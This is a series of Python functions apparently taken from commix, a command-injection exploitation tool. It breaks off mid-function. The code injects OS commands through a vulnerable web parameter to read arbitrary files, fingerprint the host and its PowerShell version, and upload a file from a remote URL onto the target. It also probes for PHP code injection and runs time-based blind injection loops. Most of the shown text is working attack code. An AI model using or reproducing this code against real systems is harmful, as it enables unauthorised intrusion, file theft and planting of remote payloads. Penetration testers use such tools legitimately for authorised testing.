def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): file_to_read = menu.options.file_read # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read else: cmd = settings.FILE_READ + file_to_read if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: print(settings.SPACE) if shell: info_msg = "The contents of file '" info_msg += file_to_read + "'" + Style.RESET_ALL + ": " sys.stdout.write(settings.print_bold_info_msg(info_msg)) print(shell) output_file = open(filename, "a") info_msg = "The contents of file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush()
def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: shell = "".join(str(p) for p in shell) info_msg = "The hostname is " + str(shell) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") info_msg = "The hostname is " + str(shell) + ".\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." print(settings.print_warning_msg(warn_msg))
def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False cmd = settings.HOSTNAME if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = output if shell: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) info_msg = "The hostname is " + str(shell) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") info_msg = "The hostname is " + str(shell) + ".\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." print(settings.print_warning_msg(warn_msg))
def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") # Command execution results. if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) ps_version = output try: if float(ps_version): settings.PS_ENABLED = True ps_version = "".join(str(p) for p in output) if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) # Output PowerShell's version number info_msg = "The PowerShell's version number is " info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") info_msg = "The PowerShell's version number is " + ps_version + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " warn_msg += "which means that some payloads or injection techniques may be failed." print("\n" + settings.print_warning_msg(warn_msg)) settings.PS_ENABLED = False
def heuristic_basic(url, http_request_method): test_type = "code injection" try: try: if re.findall(r"=(.*)&", url): url = url.replace("/&", "/e&") elif re.findall(r"=(.*)&", menu.options.data): menu.options.data = menu.options.data.replace("/&", "/e&") except TypeError as err_msg: pass if not settings.IDENTIFIED_WARNINGS: if settings.VERBOSITY_LEVEL >= 1: debug_msg = "Performing heuristic (" + test_type + ") test." print(settings.print_debug_msg(debug_msg)) if http_request_method == "GET": request = _urllib.request.Request(url.replace(settings.INJECT_TAG, settings.BASIC_TEST)) else: request = _urllib.request.Request(url, menu.options.data.replace(settings.INJECT_TAG, settings.BASIC_TEST)) headers.do_check(request) response = requests.get_request_response(request) html_data = response.read().decode(settings.UNICODE_ENCODING) for warning in settings.CODE_INJECTION_WARNINGS: if warning in html_data: technique = "dynamic code evaluation technique" info_msg = "Heuristic (" + test_type + ") test shows that target URL might be injectable." print(settings.print_bold_info_msg(info_msg)) settings.IDENTIFIED_WARNINGS = True break return url except _urllib.error.URLError as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() except _urllib.error.HTTPError as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit()
def authentication_process(): try: auth_url = menu.options.auth_url auth_data = menu.options.auth_data #cj = cookielib.CookieJar() cj = _http_cookiejar.CookieJar() opener = _urllib.request.build_opener( _urllib.request.HTTPCookieProcessor(cj)) # request = opener.open(_urllib.request.Request(auth_url)) cookies = "" for cookie in cj: cookie_values = cookie.name + "=" + cookie.value + "; " cookies += cookie_values if len(cookies) != 0: menu.options.cookie = cookies.rstrip() if settings.VERBOSITY_LEVEL != 0: info_msg = "The received cookie is " info_msg += str(menu.options.cookie) + Style.RESET_ALL + "." print(settings.print_bold_info_msg(info_msg)) _urllib.request.install_opener(opener) request = _urllib.request.Request(auth_url, auth_data) # Check if defined extra headers. headers.do_check(request) #headers.check_http_traffic(request) # Get the response of the request. response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except _urllib.error.HTTPError as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() except ValueError as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit()
def system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. target_os = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) target_os = "".join(str(p) for p in target_os) session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_os: target_os = "".join(str(p) for p in target_os) if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Perform target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate injection results. distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) distro_name = "".join(str(p) for p in distro_name) if len(distro_name) != 0: target_os = target_os + " (" + distro_name + ")" session_handler.store_cmd(url, cmd, target_os, vuln_parameter) else: target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) target_arch = "".join(str(p) for p in target_arch) session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if target_arch: # if settings.VERBOSITY_LEVEL != 0: # print("") info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") info_msg = "The target operating system is " + str(target_os) info_msg += " and the hardware platform is " + str(target_arch) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." print(settings.print_warning_msg(warn_msg))
def snif(ip_dst, ip_src): info_msg = "Started the sniffer between " + Fore.YELLOW + ip_src info_msg += Style.RESET_ALL + Style.BRIGHT + " and " + Fore.YELLOW info_msg += ip_dst + Style.RESET_ALL + Style.BRIGHT + "." print(settings.print_bold_info_msg(info_msg)) while True: sniff(filter = "icmp and src " + ip_dst, prn=packet_handler, timeout=settings.TIMESEC)
def heuristic_basic(url, http_request_method): injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(" ")[0] + ") " + technique + "" if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping (basic) heuristic detection for " + technique + "." print(settings.print_debug_msg(debug_msg)) return url else: settings.EVAL_BASED_STATE = True try: try: if re.findall(r"=(.*)&", url): url = url.replace("/&", "/e&") elif re.findall(r"=(.*)&", menu.options.data): menu.options.data = menu.options.data.replace("/&", "/e&") except TypeError as err_msg: pass if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Starting (basic) heuristic detection for " + technique + "." print(settings.print_debug_msg(debug_msg)) for payload in settings.PHPINFO_CHECK_PAYLOADS: payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) if not menu.options.data: request = _urllib.request.Request(url.replace(settings.INJECT_TAG, payload)) else: data = menu.options.data.replace(settings.INJECT_TAG, payload) request = _urllib.request.Request(url, data.encode(settings.UNICODE_ENCODING)) headers.do_check(request) response = requests.get_request_response(request) if type(response) is not bool: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) if match: technique = technique + " (possible PHP version: '" + match.group(1) + "')" settings.IDENTIFIED_PHPINFO = True else: for warning in settings.CODE_INJECTION_WARNINGS: if warning in html_data: settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: info_msg = "Heuristic detection shows that target might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) break settings.EVAL_BASED_STATE = False return url except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit()
def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_os = output if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if target_os: if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL == 0 and _: sys.stdout.write("") check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) distro_name = output if len(distro_name) != 0: target_os = target_os + " (" + distro_name + ")" if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: cmd = settings.RECOGNISE_HP if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: if settings.VERBOSITY_LEVEL == 0 and _: sys.stdout.write("\n") # The main command injection exploitation. check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output if target_arch: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") info_msg = "The target operating system is " + str(target_os) info_msg += " and the hardware platform is " + str(target_arch) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." print(settings.print_warning_msg(warn_msg))
def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": # Not yet implemented pass else: file_to_upload = menu.options.file_upload # check if remote file exists. try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output shell = "".join(str(p) for p in shell) # Check if file exists! if settings.TARGET_OS == "win": cmd = "dir " + dest_to_upload + ")" else: cmd = "echo $(ls " + dest_to_upload + ")" print("") check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) shell = output try: shell = "".join(str(p) for p in shell) except TypeError: pass if settings.VERBOSITY_LEVEL < 1 and _: print("") if shell: info_msg = "The '" + shell + Style.RESET_ALL info_msg += Style.BRIGHT + "' file was uploaded successfully!" sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg) + "\n") sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to " warn_msg += "write the '" + dest_to_upload + "' file." sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n")
def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): if settings.TARGET_OS == "win": # Not yet implemented pass else: file_to_upload = menu.options.file_upload # check if remote file exists. try: _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() raise SystemExit() # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) # Check if file exists! if settings.TARGET_OS == "win": cmd = "dir " + dest_to_upload + ")" else: cmd = "echo $(ls " + dest_to_upload + ")" if settings.USE_BACKTICKS: cmd = cmd.replace("echo $(","").replace(")","") response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) if settings.VERBOSITY_LEVEL != 0: print("") if shell: info_msg = "The " + shell info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush()
def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response): _ = False file_to_read = menu.options.file_read # Execute command if settings.TARGET_OS == "win": cmd = settings.WIN_FILE_READ + file_to_read else: cmd = settings.FILE_READ + file_to_read if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # The main command injection exploitation. check_how_long, output = tb_injector.injection( separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = output try: shell = "".join(str(p) for p in shell) except TypeError: pass if settings.VERBOSITY_LEVEL < 1 and _: print("") if shell: info_msg = "The contents of file '" info_msg += file_to_read + Style.RESET_ALL + Style.BRIGHT info_msg += "'" + Style.RESET_ALL + " : " sys.stdout.write(settings.print_bold_info_msg(info_msg)) sys.stdout.flush() print(shell) output_file = open(filename, "a") info_msg = "The contents of file '" info_msg += file_to_read + "' : " + shell + ".\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush()
def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'", "\\'") else: cmd = "\"" + cmd + "\"" # Evaluate injection results. if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. ps_version = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) ps_version = "".join(str(p) for p in ps_version) session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) try: if float(ps_version): settings.PS_ENABLED = True # if settings.VERBOSITY_LEVEL >= 1: # print("") # Output PowerShell's version number info_msg = "The PowerShell's version number is " info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") info_msg = "The PowerShell's version number is " + ps_version + ".\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " warn_msg += "which means that some payloads or injection techniques may be failed." print(settings.print_warning_msg(warn_msg)) settings.PS_ENABLED = False
def heuristic_basic(url, http_request_method): technique = "dynamic code evaluation technique" try: try: if re.findall(r"=(.*)&", url): url = url.replace("/&", "/e&") elif re.findall(r"=(.*)&", menu.options.data): menu.options.data = menu.options.data.replace("/&", "/e&") except TypeError as err_msg: pass if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic test for " + technique + "." print(settings.print_debug_msg(debug_msg)) if http_request_method == "GET": request = _urllib.request.Request( url.replace(settings.INJECT_TAG, settings.BASIC_TEST)) else: data = menu.options.data.replace(settings.INJECT_TAG, settings.BASIC_TEST) request = _urllib.request.Request( url, data.encode(settings.UNICODE_ENCODING)) headers.do_check(request) response = requests.get_request_response(request) if type(response) is not bool: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) if match: technique = technique + " (possible PHP version: '" + match.group( 1) + "')" settings.IDENTIFIED_PHPINFO = True else: for warning in settings.CODE_INJECTION_WARNINGS: if warning in html_data: settings.IDENTIFIED_WARNINGS = True break if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: info_msg = "Heuristic test shows that target might be injectable via " + technique + "." print(settings.print_bold_info_msg(info_msg)) return url except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit()
def uninstaller(): info_msg = "Starting the uninstaller. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: subprocess.Popen("rm -rf /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() subprocess.Popen("rm -rf /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait() except: print(settings.SINGLE_WHITESPACE) raise SystemExit() sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() info_msg = "The un-installation of commix has finished!" print(settings.print_bold_info_msg(info_msg))
def third_party_dependencies(): info_msg = "Checking for third-party (non-core) libraries. " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: import sqlite3 except ImportError: print(settings.FAIL_STATUS) err_msg = settings.APPLICATION + " requires 'sqlite3' third-party library " err_msg += "in order to store previous injection points and commands. " print(settings.print_critical_msg(err_msg)) raise SystemExit() try: import readline except ImportError: if settings.IS_WINDOWS: try: import pyreadline except ImportError: print(settings.FAIL_STATUS) err_msg = settings.APPLICATION + " requires 'pyreadline' third-party library " err_msg += "in order to be able to take advantage of the TAB " err_msg += "completion and history support features. " print(settings.print_critical_msg(err_msg)) raise SystemExit() else: try: import gnureadline except ImportError: print(settings.FAIL_STATUS) err_msg = settings.APPLICATION + " requires 'gnureadline' third-party library " err_msg += "in order to be able to take advantage of the TAB " err_msg += "completion and history support features. " print(settings.print_critical_msg(err_msg)) pass print(settings.SUCCESS_STATUS) info_msg = "All required third-party (non-core) libraries are seems to be installed." print(settings.print_bold_info_msg(info_msg))
def smoke_test(): info_msg = "Executing smoke test." print(settings.print_info_msg(info_msg)) _ = True file_paths = [] for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH): file_paths.extend( [os.path.abspath(os.path.join(root, i)) for i in filenames]) for filename in file_paths: if os.path.splitext(filename)[1].lower( ) == ".py" and not "__init__.py" in filename: path = os.path.join(settings.COMMIX_ROOT_PATH, os.path.splitext(filename)[0]) path = path.replace(settings.COMMIX_ROOT_PATH, '.') path = path.replace(os.sep, '.').lstrip('.') if "." in path: try: __import__(path) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Succeeded importing '" + str( path) + "' module." print(settings.print_debug_msg(debug_msg)) except Exception as ex: error_msg = "Failed importing '" + path + "' module due to '" + str( ex) + "'." print(settings.print_error_msg(error_msg)) _ = False result = "Smoke test " if _: result = result + "passed." print(settings.print_bold_info_msg(result)) else: result = result + "failed." print(settings.print_bold_error_msg(result)) raise SystemExit()
def hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.TARGET_OS == "win": settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME if session_handler.export_stored_cmd( url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) # Evaluate injection results. shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: # if settings.VERBOSITY_LEVEL != 0: # print(settings.SPACE) info_msg = "The hostname is " + str(shell) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") info_msg = "The hostname is " + str(shell) + ".\n" output_file.write( re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub( "", settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." print(settings.print_warning_msg(warn_msg))
def process_json_data(): while True: info_msg = "JSON data found in POST data." if not menu.options.batch: question_msg = info_msg question_msg += " Do you want to process it? [Y/n] > " json_process = _input(settings.print_question_msg(question_msg)) else: if settings.VERBOSITY_LEVEL >= 1: print(settings.print_bold_info_msg(info_msg)) json_process = "" if len(json_process) == 0: json_process = "Y" if json_process in settings.CHOICE_YES: settings.IS_JSON = True break elif json_process in settings.CHOICE_NO: break elif json_process in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + json_process + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass
def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response): counter = 1 num_of_chars = 1 vp_flag = True no_result = True is_encoded = False possibly_vulnerable = False false_positive_warning = False export_injection_info = False how_long = 0 injection_type = "semi-blind command injection" technique = "tempfile-based injection technique" if settings.TIME_RELATIVE_ATTACK == False: warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions." print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) settings.TIME_RELATIVE_ATTACK = None # Check if defined "--maxlen" option. if menu.options.maxlen: maxlen = settings.MAXLEN # Check if defined "--url-reload" option. if menu.options.url_reload == True: err_msg = "The '--url-reload' option is not available in " + technique + "!" print(settings.print_critical_msg(err_msg)) if not settings.LOAD_SESSION: # Change TAG on every request to prevent false-positive resutls. TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) if settings.VERBOSITY_LEVEL != 0: info_msg ="Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " print(settings.print_info_msg(info_msg)) #whitespace = checks.check_whitespaces() # Calculate all possible combinations total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACES: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. how_long_statistic = [] if settings.LOAD_SESSION: try: 